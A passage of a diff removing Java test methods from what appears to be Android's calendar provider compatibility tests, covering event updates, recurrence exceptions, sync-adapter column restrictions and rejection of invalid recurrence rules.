- removeAndVerifyCalendar(account, calendarId);
- }
-
- @MediumTest
- public void testEventUpdateAsApp() {
- String account = "em1_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create calendar
- long calendarId = createAndVerifyCalendar(account, seed++, null);
-
- // Create event as sync adapter
- ContentValues eventValues = EventHelper
- .getNewEventValues(account, seed++, calendarId, true);
- long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-
- // Update event as app
- Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
-
- ContentValues updateValues = EventHelper.getUpdateEventValuesWithOriginal(eventValues,
- seed++, false);
- assertEquals(1, mContentResolver.update(eventUri, updateValues, null, null));
- updateValues.put(Events.DIRTY, 1); // provider should have marked as dirty
- verifyEvent(updateValues, eventId);
-
- // Try nulling out a required value.
- ContentValues badValues = new ContentValues(updateValues);
- badValues.putNull(Events.EVENT_TIMEZONE);
- badValues.remove(Events.DIRTY);
- try {
- mContentResolver.update(eventUri, badValues, null, null);
- fail("was allowed to null out EVENT_TIMEZONE");
- } catch (IllegalArgumentException iae) {
- // good
- }
-
- removeAndVerifyEvent(eventUri, eventValues, account);
-
- // delete the calendar
- removeAndVerifyCalendar(account, calendarId);
- }
-
- /**
- * Tests update of multiple events with a single update call.
- */
- @MediumTest
- public void testBulkUpdate() {
- String account = "bup_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create calendar
- long calendarId = createAndVerifyCalendar(account, seed++, null);
- String calendarIdStr = String.valueOf(calendarId);
-
- // Create events
- ContentValues eventValues;
- eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
- long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-
- eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
- long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-
- // Update the "description" field in all events in this calendar.
- String newDescription = "bulk edit";
- ContentValues updateValues = new ContentValues();
- updateValues.put(Events.DESCRIPTION, newDescription);
-
- // Must be sync adapter to do a bulk update.
- Uri uri = asSyncAdapter(Events.CONTENT_URI, account, CTS_TEST_TYPE);
- int count = mContentResolver.update(uri, updateValues, SQL_WHERE_CALENDAR_ID,
- new String[] { calendarIdStr });
-
- // Check to see if the changes went through.
- Uri eventUri = Events.CONTENT_URI;
- Cursor c = mContentResolver.query(eventUri, new String[] { Events.DESCRIPTION },
- SQL_WHERE_CALENDAR_ID, new String[] { calendarIdStr }, null);
- assertEquals(2, c.getCount());
- while (c.moveToNext()) {
- assertEquals(newDescription, c.getString(0));
- }
- c.close();
-
- // delete the calendar
- removeAndVerifyCalendar(account, calendarId);
- }
-
- /**
- * Tests the content provider's enforcement of restrictions on who is allowed to modify
- * specific columns in a Calendar.
- * <p>
- * This attempts to create a new row in the Calendar table, specifying one restricted
- * column at a time.
- */
- @MediumTest
- public void testSyncOnlyInsertEnforcement() {
- // These operations should not succeed, so there should be nothing to clean up after.
- // TODO: this should be a new event augmented with an illegal column, not a single
- // column. Otherwise we might be tripping over a "DTSTART must exist" test.
- ContentValues vals = new ContentValues();
- for (int i = 0; i < Calendars.SYNC_WRITABLE_COLUMNS.length; i++) {
- boolean threw = false;
- try {
- vals.clear();
- vals.put(Calendars.SYNC_WRITABLE_COLUMNS[i], "1");
- mContentResolver.insert(Calendars.CONTENT_URI, vals);
- } catch (IllegalArgumentException e) {
- threw = true;
- }
- assertTrue("Only sync adapter should be allowed to insert "
- + Calendars.SYNC_WRITABLE_COLUMNS[i], threw);
- }
- }
-
- /**
- * Tests creation of a recurring event.
- * <p>
- * This (and the other recurrence tests) uses dates well in the past to reduce the likelihood
- * of encountering non-test recurring events. (Ideally we would select events associated
- * with a specific calendar.) With dates well in the past, it's also important to have a
- * fixed maximum count or end date; otherwise, if the metadata min/max instance values are
- * large enough, the recurrence recalculation processor could get triggered on an insert or
- * update and bump up against the 2000-instance limit.
- *
- * TODO: need some allDay tests
- */
- @MediumTest
- public void testRecurrence() {
- String account = "re_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create calendar
- long calendarId = createAndVerifyCalendar(account, seed++, null);
-
- // Create recurring event
- ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
- calendarId, true, "2003-08-05T09:00:00", "PT1H",
- "FREQ=WEEKLY;INTERVAL=2;COUNT=4;BYDAY=TU,SU;WKST=SU");
- long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
- //Log.d(TAG, "+++ basic recurrence eventId is " + eventId);
-
- // Check to see if we have the expected number of instances
- String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
- int instanceCount = getInstanceCount(timeZone, "2003-08-05T00:00:00",
- "2003-08-31T11:59:59", new long[] { calendarId });
- if (false) {
- Cursor instances = getInstances(timeZone, "2003-08-05T00:00:00", "2003-08-31T11:59:59",
- new String[] { Instances.BEGIN }, new long[] { calendarId });
- dumpInstances(instances, timeZone, "initial");
- instances.close();
- }
- assertEquals("recurrence instance count", 4, instanceCount);
-
- // delete the calendar
- removeAndVerifyCalendar(account, calendarId);
- }
-
- /**
- * Tests conversion of a regular event to a recurring event.
- */
- @MediumTest
- public void testConversionToRecurring() {
- String account = "reconv_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create calendar and event
- long calendarId = createAndVerifyCalendar(account, seed++, null);
-
- ContentValues eventValues = EventHelper
- .getNewEventValues(account, seed++, calendarId, true);
- long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-
- long dtstart = eventValues.getAsLong(Events.DTSTART);
- long dtend = eventValues.getAsLong(Events.DTEND);
- long durationSecs = (dtend - dtstart) / 1000;
-
- ContentValues updateValues = new ContentValues();
- updateValues.put(Events.RRULE, "FREQ=WEEKLY"); // recurs forever
- updateValues.put(Events.DURATION, "P" + durationSecs + "S");
- updateValues.putNull(Events.DTEND);
-
- // Issue update; do it as app instead of sync adapter to exercise that path.
- updateAndVerifyEvent(account, calendarId, eventId, false, updateValues);
-
- // Make sure LAST_DATE got nulled out by our infinitely repeating sequence.
- Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
- Cursor c = mContentResolver.query(eventUri, new String[] { Events.LAST_DATE },
- null, null, null);
- assertEquals(1, c.getCount());
- assertTrue(c.moveToFirst());
- assertNull(c.getString(0));
- c.close();
-
- removeAndVerifyCalendar(account, calendarId);
- }
-
- /**
- * Tests creation of a recurring event with single-instance exceptions.
- */
- @MediumTest
- public void testSingleRecurrenceExceptions() {
- String account = "rex_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create calendar
- long calendarId = createAndVerifyCalendar(account, seed++, null);
-
- // Create recurring event.
- ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
- calendarId, true, "1999-03-28T09:00:00", "PT1H", "FREQ=WEEKLY;WKST=SU;COUNT=100");
- long eventId = createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
-
- // Add some attendees and reminders.
- addAttendees(account, eventId, seed);
- addReminders(account, eventId, seed);
-
- // Select a period that gives us 5 instances. We don't want this to straddle a DST
- // transition, because we expect the startMinute field to be the same for all
- // instances, and it's stored as minutes since midnight in the device's time zone.
- // Things won't be consistent if the event and the device have different ideas about DST.
- String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
- String testStart = "1999-07-02T00:00:00";
- String testEnd = "1999-08-04T23:59:59";
- String[] projection = { Instances.BEGIN, Instances.START_MINUTE, Instances.END_MINUTE };
-
- Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
- new long[] { calendarId });
- if (DEBUG_RECURRENCE) {
- dumpInstances(instances, timeZone, "initial");
- }
-
- assertEquals("initial recurrence instance count", 5, instances.getCount());
-
- /*
- * Advance the start time of a few instances, and verify.
- */
-
- // Leave first instance alone.
- instances.moveToPosition(1);
-
- long startMillis;
- ContentValues excepValues;
-
- // Advance the start time of the 2nd instance.
- startMillis = instances.getLong(0);
- excepValues = EventHelper.getNewExceptionValues(startMillis);
- excepValues.put(Events.DTSTART, startMillis + 3600*1000);
- long excepEventId2 = createAndVerifyException(account, eventId, excepValues, true);
- instances.moveToNext();
-
- // Advance the start time of the 3rd instance.
- startMillis = instances.getLong(0);
- excepValues = EventHelper.getNewExceptionValues(startMillis);
- excepValues.put(Events.DTSTART, startMillis + 3600*1000*2);
- long excepEventId3 = createAndVerifyException(account, eventId, excepValues, true);
- instances.moveToNext();
-
- // Cancel the 4th instance.
- startMillis = instances.getLong(0);
- excepValues = EventHelper.getNewExceptionValues(startMillis);
- excepValues.put(Events.STATUS, Events.STATUS_CANCELED);
- long excepEventId4 = createAndVerifyException(account, eventId, excepValues, true);
- instances.moveToNext();
-
- // TODO: try to modify a non-existent instance.
-
- instances.close();
-
- // TODO: compare Reminders, Attendees, ExtendedProperties on one of the exception events
-
- // Re-query the instances and figure out if they look right.
- instances = getInstances(timeZone, testStart, testEnd, projection,
- new long[] { calendarId });
- if (DEBUG_RECURRENCE) {
- dumpInstances(instances, timeZone, "with DTSTART exceptions");
- }
- assertEquals("exceptional recurrence instance count", 4, instances.getCount());
-
- long prevMinute = -1;
- while (instances.moveToNext()) {
- // expect the start times for each entry to be different from the previous entry
- long startMinute = instances.getLong(1);
- assertTrue("instance start times are different", startMinute != prevMinute);
-
- prevMinute = startMinute;
- }
- instances.close();
-
-
- // Delete all of our exceptions, and verify.
- int deleteCount = 0;
- deleteCount += deleteException(account, eventId, excepEventId2);
- deleteCount += deleteException(account, eventId, excepEventId3);
- deleteCount += deleteException(account, eventId, excepEventId4);
- assertEquals("events deleted", 3, deleteCount);
-
- // Re-query the instances and figure out if they look right.
- instances = getInstances(timeZone, testStart, testEnd, projection,
- new long[] { calendarId });
- if (DEBUG_RECURRENCE) {
- dumpInstances(instances, timeZone, "post exception deletion");
- }
- assertEquals("post-exception deletion instance count", 5, instances.getCount());
-
- prevMinute = -1;
- while (instances.moveToNext()) {
- // expect the start times for each entry to be the same
- long startMinute = instances.getLong(1);
- if (prevMinute != -1) {
- assertEquals("instance start times are the same", startMinute, prevMinute);
- }
- prevMinute = startMinute;
- }
- instances.close();
-
- /*
- * Repeat the test, this time modifying DURATION.
- */
-
- instances = getInstances(timeZone, testStart, testEnd, projection,
- new long[] { calendarId });
- if (DEBUG_RECURRENCE) {
- dumpInstances(instances, timeZone, "initial");
- }
-
- assertEquals("initial recurrence instance count", 5, instances.getCount());
-
- // Leave first instance alone.
- instances.moveToPosition(1);
-
- // Advance the end time of the 2nd instance.
- startMillis = instances.getLong(0);
- excepValues = EventHelper.getNewExceptionValues(startMillis);
- excepValues.put(Events.DURATION, "P" + 3600*2 + "S");
- excepEventId2 = createAndVerifyException(account, eventId, excepValues, true);
- instances.moveToNext();
-
- // Advance the end time of the 3rd instance, and change the self-attendee status.
- startMillis = instances.getLong(0);
- excepValues = EventHelper.getNewExceptionValues(startMillis);
- excepValues.put(Events.DURATION, "P" + 3600*3 + "S");
- excepValues.put(Events.SELF_ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_DECLINED);
- excepEventId3 = createAndVerifyException(account, eventId, excepValues, true);
- instances.moveToNext();
-
- // Advance the start time of the 4th instance, which will also advance the end time.
- startMillis = instances.getLong(0);
- excepValues = EventHelper.getNewExceptionValues(startMillis);
- excepValues.put(Events.DTSTART, startMillis + 3600*1000);
- excepEventId4 = createAndVerifyException(account, eventId, excepValues, true);
- instances.moveToNext();
-
- instances.close();
-
- // TODO: make sure the selfAttendeeStatus change took
-
- // Re-query the instances and figure out if they look right.
- instances = getInstances(timeZone, testStart, testEnd, projection,
- new long[] { calendarId });
- if (DEBUG_RECURRENCE) {
- dumpInstances(instances, timeZone, "with DURATION exceptions");
- }
- assertEquals("exceptional recurrence instance count", 5, instances.getCount());
-
- prevMinute = -1;
- while (instances.moveToNext()) {
- // expect the start times for each entry to be different from the previous entry
- long endMinute = instances.getLong(2);
- assertTrue("instance end times are different", endMinute != prevMinute);
-
- prevMinute = endMinute;
- }
- instances.close();
-
- // delete the calendar
- removeAndVerifyCalendar(account, calendarId);
- }
-
- /**
- * Tests creation of a simple recurrence exception when not pretending to be the sync
- * adapter. One significant consequence is that we don't set the _sync_id field in the
- * events, which affects how the provider correlates recurrences and exceptions.
- */
- @MediumTest
- public void testNonAdapterRecurrenceExceptions() {
- String account = "rena_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create calendar
- long calendarId = createAndVerifyCalendar(account, seed++, null);
-
- // Generate recurring event, with "asSyncAdapter" set to false.
- ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
- calendarId, false, "1991-02-03T12:00:00", "PT1H", "FREQ=DAILY;WKST=SU;COUNT=10");
-
- // Select a period that gives us 3 instances.
- String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
- String testStart = "1991-02-03T00:00:00";
- String testEnd = "1991-02-05T23:59:59";
- String[] projection = { Instances.BEGIN, Instances.START_MINUTE };
-
- // Expand the bounds of the instances table so we expand future events as they are added.
- expandInstanceRange(account, calendarId, testStart, testEnd, timeZone);
-
- // Create the event in the database.
- long eventId = createAndVerifyEvent(account, seed++, calendarId, false, eventValues);
- assertTrue(eventId >= 0);
-
- // Add some attendees.
- addAttendees(account, eventId, seed);
-
- Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
- new long[] { calendarId });
- if (DEBUG_RECURRENCE) {
- dumpInstances(instances, timeZone, "initial");
- }
- assertEquals("initial recurrence instance count", 3, instances.getCount());
-
- /*
- * Alter the attendee status of the second event. This should cause the instances to
- * be updated, replacing the previous 2nd instance with the exception instance. If the
- * code is broken we'll see four instances (because the original instance didn't get
- * removed) or one instance (because the code correctly deleted all related events but
- * couldn't correlate the exception with its original recurrence).
- */
-
- // Leave first instance alone.
- instances.moveToPosition(1);
-
- long startMillis;
- ContentValues excepValues;
-
- // Advance the start time of the 2nd instance.
- startMillis = instances.getLong(0);
- excepValues = EventHelper.getNewExceptionValues(startMillis);
- excepValues.put(Events.SELF_ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_DECLINED);
- long excepEventId2 = createAndVerifyException(account, eventId, excepValues, false);
- instances.moveToNext();
-
- instances.close();
-
- // Re-query the instances and figure out if they look right.
- instances = getInstances(timeZone, testStart, testEnd, projection,
- new long[] { calendarId });
- if (DEBUG_RECURRENCE) {
- dumpInstances(instances, timeZone, "with exceptions");
- }
-
- // TODO: this test currently fails due to limitations in the provider
- //assertEquals("exceptional recurrence instance count", 3, instances.getCount());
-
- instances.close();
-
- // delete the calendar
- removeAndVerifyCalendar(account, calendarId);
- }
-
- /**
- * Tests insertion of event exceptions before and after a recurring event is created.
- * <p>
- * The server may send exceptions down before the event they refer to, so the provider
- * fills in the originalId of previously-existing exceptions when a recurring event is
- * inserted. Make sure that works.
- * <p>
- * The _sync_id column is only unique with a given calendar. We create events with
- * identical originalSyncId values in two different calendars to verify that the provider
- * doesn't update unrelated events.
- * <p>
- * We can't use the /exception URI, because that only works if the events are created
- * in order.
- */
- @MediumTest
- public void testOutOfOrderRecurrenceExceptions() {
- String account1 = "roid1_account";
- String account2 = "roid2_account";
- String startWhen = "1987-08-09T12:00:00";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account1);
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account2);
-
- // Create calendars
- long calendarId1 = createAndVerifyCalendar(account1, seed++, null);
- long calendarId2 = createAndVerifyCalendar(account2, seed++, null);
-
-
- // Generate base event.
- ContentValues recurEventValues = EventHelper.getNewRecurringEventValues(account1, seed++,
- calendarId1, true, startWhen, "PT1H", "FREQ=DAILY;WKST=SU;COUNT=10");
-
- // Select a period that gives us 3 instances.
- String timeZone = recurEventValues.getAsString(Events.EVENT_TIMEZONE);
- String testStart = "1987-08-09T00:00:00";
- String testEnd = "1987-08-11T23:59:59";
- String[] projection = { Instances.BEGIN, Instances.START_MINUTE, Instances.EVENT_ID };
-
- /*
- * We're interested in exploring what the instance expansion code does with the events
- * as they arrive. It won't do anything at event-creation time unless the instance
- * range already covers the interesting set of dates, so we need to create and remove
- * an instance in the same time frame beforehand.
- */
- expandInstanceRange(account1, calendarId1, testStart, testEnd, timeZone);
-
- /*
- * Instances table should be expanded. Do the test.
- */
-
- final String MAGIC_SYNC_ID = "MagicSyncId";
- recurEventValues.put(Events._SYNC_ID, MAGIC_SYNC_ID);
-
- // Generate exceptions from base, removing the generated _sync_id and setting the
- // base event's _sync_id as originalSyncId.
- ContentValues beforeExcepValues, afterExcepValues, unrelatedExcepValues;
- beforeExcepValues = new ContentValues(recurEventValues);
- afterExcepValues = new ContentValues(recurEventValues);
- unrelatedExcepValues = new ContentValues(recurEventValues);
- beforeExcepValues.remove(Events._SYNC_ID);
- afterExcepValues.remove(Events._SYNC_ID);
- unrelatedExcepValues.remove(Events._SYNC_ID);
- beforeExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
- afterExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
- unrelatedExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
-
- // Disassociate the "unrelated" exception by moving it to the other calendar.
- unrelatedExcepValues.put(Events.CALENDAR_ID, calendarId2);
-
- // We shift the start time by half an hour, and use the same _sync_id.
- final long ONE_DAY_MILLIS = 24 * 60 * 60 * 1000;
- final long ONE_HOUR_MILLIS = 60 * 60 * 1000;
- final long HALF_HOUR_MILLIS = 30 * 60 * 1000;
- long dtstartMillis = recurEventValues.getAsLong(Events.DTSTART) + ONE_DAY_MILLIS;
- beforeExcepValues.put(Events.ORIGINAL_INSTANCE_TIME, dtstartMillis);
- beforeExcepValues.put(Events.DTSTART, dtstartMillis + HALF_HOUR_MILLIS);
- beforeExcepValues.put(Events.DTEND, dtstartMillis + ONE_HOUR_MILLIS);
- beforeExcepValues.remove(Events.DURATION);
- beforeExcepValues.remove(Events.RRULE);
- beforeExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
- dtstartMillis += ONE_DAY_MILLIS;
- afterExcepValues.put(Events.ORIGINAL_INSTANCE_TIME, dtstartMillis);
- afterExcepValues.put(Events.DTSTART, dtstartMillis + HALF_HOUR_MILLIS);
- afterExcepValues.put(Events.DTEND, dtstartMillis + ONE_HOUR_MILLIS);
- afterExcepValues.remove(Events.DURATION);
- afterExcepValues.remove(Events.RRULE);
- afterExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
- dtstartMillis += ONE_DAY_MILLIS;
- unrelatedExcepValues.put(Events.ORIGINAL_INSTANCE_TIME, dtstartMillis);
- unrelatedExcepValues.put(Events.DTSTART, dtstartMillis + HALF_HOUR_MILLIS);
- unrelatedExcepValues.put(Events.DTEND, dtstartMillis + ONE_HOUR_MILLIS);
- unrelatedExcepValues.remove(Events.DURATION);
- unrelatedExcepValues.remove(Events.RRULE);
- unrelatedExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
-
-
- // Create "before" and "unrelated" exceptions.
- long beforeEventId = createAndVerifyEvent(account1, seed, calendarId1, true,
- beforeExcepValues);
- assertTrue(beforeEventId >= 0);
- long unrelatedEventId = createAndVerifyEvent(account2, seed, calendarId2, true,
- unrelatedExcepValues);
- assertTrue(unrelatedEventId >= 0);
-
- // Create recurring event.
- long recurEventId = createAndVerifyEvent(account1, seed, calendarId1, true,
- recurEventValues);
- assertTrue(recurEventId >= 0);
-
- // Create "after" exception.
- long afterEventId = createAndVerifyEvent(account1, seed, calendarId1, true,
- afterExcepValues);
- assertTrue(afterEventId >= 0);
-
- if (Log.isLoggable(TAG, Log.DEBUG)) {
- Log.d(TAG, "before=" + beforeEventId + ", unrel=" + unrelatedEventId +
- ", recur=" + recurEventId + ", after=" + afterEventId);
- }
-
- // Check to see how many instances we get. If the recurrence and the exception don't
- // get paired up correctly, we'll see too many instances.
- Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
- new long[] { calendarId1, calendarId2 });
- if (DEBUG_RECURRENCE) {
- dumpInstances(instances, timeZone, "with exception");
- }
-
- assertEquals("initial recurrence instance count", 3, instances.getCount());
-
- instances.close();
-
-
- /*
- * Now we want to verify that:
- * - "before" and "after" have an originalId equal to our recurEventId
- * - "unrelated" has no originalId
- */
- Cursor c = null;
- try {
- final String[] PROJECTION = new String[] { Events.ORIGINAL_ID };
- Uri eventUri;
- Long originalId;
-
- eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, beforeEventId);
- c = mContentResolver.query(eventUri, PROJECTION, null, null, null);
- assertEquals(1, c.getCount());
- c.moveToNext();
- originalId = c.getLong(0);
- assertNotNull(originalId);
- assertEquals(recurEventId, (long) originalId);
- c.close();
-
- eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, afterEventId);
- c = mContentResolver.query(eventUri, PROJECTION, null, null, null);
- assertEquals(1, c.getCount());
- c.moveToNext();
- originalId = c.getLong(0);
- assertNotNull(originalId);
- assertEquals(recurEventId, (long) originalId);
- c.close();
-
- eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, unrelatedEventId);
- c = mContentResolver.query(eventUri, PROJECTION, null, null, null);
- assertEquals(1, c.getCount());
- c.moveToNext();
- assertNull(c.getString(0));
- c.close();
-
- c = null;
- } finally {
- if (c != null) {
- c.close();
- }
- }
-
- // delete the calendars
- removeAndVerifyCalendar(account1, calendarId1);
- removeAndVerifyCalendar(account2, calendarId2);
- }
-
- /**
- * Tests exceptions that modify all future instances of a recurring event.
- */
- @MediumTest
- public void testForwardRecurrenceExceptions() {
- String account = "refx_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create calendar
- long calendarId = createAndVerifyCalendar(account, seed++, null);
-
- // Create recurring event
- ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
- calendarId, true, "1999-01-01T06:00:00", "PT1H", "FREQ=WEEKLY;WKST=SU;COUNT=10");
- long eventId = createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
-
- // Add some attendees and reminders.
- addAttendees(account, eventId, seed++);
- addReminders(account, eventId, seed++);
-
- // Get some instances.
- String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
- String testStart = "1999-01-01T00:00:00";
- String testEnd = "1999-01-29T23:59:59";
- String[] projection = { Instances.BEGIN, Instances.START_MINUTE };
-
- Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
- new long[] { calendarId });
- if (DEBUG_RECURRENCE) {
- dumpInstances(instances, timeZone, "initial");
- }
-
- assertEquals("initial recurrence instance count", 5, instances.getCount());
-
- // Modify starting from 3rd instance.
- instances.moveToPosition(2);
-
- long startMillis;
- ContentValues excepValues;
-
- // Replace with a new recurrence rule. We move the start time an hour later, and cap
- // it at two instances.
- startMillis = instances.getLong(0);
- excepValues = EventHelper.getNewExceptionValues(startMillis);
- excepValues.put(Events.DTSTART, startMillis + 3600*1000);
- excepValues.put(Events.RRULE, "FREQ=WEEKLY;COUNT=2;WKST=SU");
- long excepEventId = createAndVerifyException(account, eventId, excepValues, true);
- instances.close();
-
-
- // Check to see if it took.
- instances = getInstances(timeZone, testStart, testEnd, projection,
- new long[] { calendarId });
- if (DEBUG_RECURRENCE) {
- dumpInstances(instances, timeZone, "with new rule");
- }
-
- assertEquals("count with exception", 4, instances.getCount());
-
- long prevMinute = -1;
- for (int i = 0; i < 4; i++) {
- long startMinute;
- instances.moveToNext();
- switch (i) {
- case 0:
- startMinute = instances.getLong(1);
- break;
- case 1:
- case 3:
- startMinute = instances.getLong(1);
- assertEquals("first/last pairs match", prevMinute, startMinute);
- break;
- case 2:
- startMinute = instances.getLong(1);
- assertFalse("first two != last two", prevMinute == startMinute);
- break;
- default:
- fail();
- startMinute = -1; // make compiler happy
- break;
- }
-
- prevMinute = startMinute;
- }
- instances.close();
-
- // delete the calendar
- removeAndVerifyCalendar(account, calendarId);
- }
-
- /**
- * Tests exceptions that modify all instances of a recurring event. This is not really an
- * exception, since it won't create a new event, but supporting it allows us to use the
- * exception URI without having to determine whether the "start from here" instance is the
- * very first instance.
- */
- @MediumTest
- public void testFullRecurrenceUpdate() {
- String account = "ref_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create calendar
- long calendarId = createAndVerifyCalendar(account, seed++, null);
-
- // Create recurring event
- String rrule = "FREQ=DAILY;WKST=MO;COUNT=100";
- ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
- calendarId, true, "1997-08-29T02:14:00", "PT1H", rrule);
- long eventId = createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
- //Log.i(TAG, "+++ eventId is " + eventId);
-
- // Get some instances.
- String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
- String testStart = "1997-08-01T00:00:00";
- String testEnd = "1997-08-31T23:59:59";
- String[] projection = { Instances.BEGIN, Instances.EVENT_LOCATION };
- String newLocation = "NEW!";
-
- Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
- new long[] { calendarId });
- if (DEBUG_RECURRENCE) {
- dumpInstances(instances, timeZone, "initial");
- }
-
- assertEquals("initial recurrence instance count", 3, instances.getCount());
-
- instances.moveToFirst();
- long startMillis = instances.getLong(0);
- ContentValues excepValues = EventHelper.getNewExceptionValues(startMillis);
- excepValues.put(Events.RRULE, rrule); // identifies this as an "all future events" excep
- excepValues.put(Events.EVENT_LOCATION, newLocation);
- long excepEventId = createAndVerifyException(account, eventId, excepValues, true);
- instances.close();
-
- // Check results.
- assertEquals("full update does not create new ID", eventId, excepEventId);
-
- instances = getInstances(timeZone, testStart, testEnd, projection,
- new long[] { calendarId });
- assertEquals("post-update instance count", 3, instances.getCount());
- while (instances.moveToNext()) {
- assertEquals("new location", newLocation, instances.getString(1));
- }
- instances.close();
-
- // delete the calendar
- removeAndVerifyCalendar(account, calendarId);
- }
-
- @MediumTest
- public void testMultiRuleRecurrence() {
- String account = "multirule_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create calendar
- long calendarId = createAndVerifyCalendar(account, seed++, null);
-
- // Create recurring event
- String rrule = "FREQ=DAILY;WKST=MO;COUNT=5\nFREQ=WEEKLY;WKST=SU;COUNT=5";
- ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
- calendarId, true, "1997-08-29T02:14:00", "PT1H", rrule);
- long eventId = createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
-
- // TODO: once multi-rule RRULEs are fully supported, verify that they work
-
- // delete the calendar
- removeAndVerifyCalendar(account, calendarId);
- }
-
- /**
- * Issue bad requests and expect them to get rejected.
- */
- @MediumTest
- public void testBadRequests() {
- String account = "neg_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create calendar
- long calendarId = createAndVerifyCalendar(account, seed++, null);
-
- // Create recurring event
- String rrule = "FREQ=OFTEN;WKST=MO";
- ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
- calendarId, true, "1997-08-29T02:14:00", "PT1H", rrule);
- try {
- createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
- fail("Bad recurrence rule should have been rejected");
- } catch (IllegalArgumentException iae) {
- // good
- }
-
- // delete the calendar
- removeAndVerifyCalendar(account, calendarId);
- }
-
- /**
- * Tests correct behavior of Calendars.isPrimary column
- */
- @MediumTest
- public void testCalendarIsPrimary() {
- String account = "ec_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- int isPrimary;
- Cursor cursor;
- ContentValues values = new ContentValues();
-
- final long calendarId = createAndVerifyCalendar(account, seed++, null);
- final Uri uri = ContentUris.withAppendedId(Calendars.CONTENT_URI, calendarId);
-
- // verify when ownerAccount != account_name && isPrimary IS NULL
- cursor = mContentResolver.query(uri, new String[]{Calendars.IS_PRIMARY}, null, null, null);
- cursor.moveToFirst();
- isPrimary = cursor.getInt(0);
- cursor.close();
- assertEquals("isPrimary should be 0 if ownerAccount != account_name", 0, isPrimary);
-
- // verify when ownerAccount == account_name && isPrimary IS NULL
- values.clear();
- values.put(Calendars.OWNER_ACCOUNT, account);
- mContentResolver.update(asSyncAdapter(uri, account, CTS_TEST_TYPE), values, null, null);
- cursor = mContentResolver.query(uri, new String[]{Calendars.IS_PRIMARY}, null, null, null);
- cursor.moveToFirst();
- isPrimary = cursor.getInt(0);
- cursor.close();
- assertEquals("isPrimary should be 1 if ownerAccount == account_name", 1, isPrimary);
-
- // verify isPrimary IS NOT NULL
- values.clear();
- values.put(Calendars.IS_PRIMARY, SOME_ARBITRARY_INT);
- mContentResolver.update(uri, values, null, null);
- cursor = mContentResolver.query(uri, new String[]{Calendars.IS_PRIMARY}, null, null, null);
- cursor.moveToFirst();
- isPrimary = cursor.getInt(0);
- cursor.close();
- assertEquals("isPrimary should be the value it was set to", SOME_ARBITRARY_INT, isPrimary);
-
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
- }
-
- /**
- * Tests correct behavior of Events.isOrganizer column
- */
- @MediumTest
- public void testEventsIsOrganizer() {
- String account = "ec_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- int isOrganizer;
- Cursor cursor;
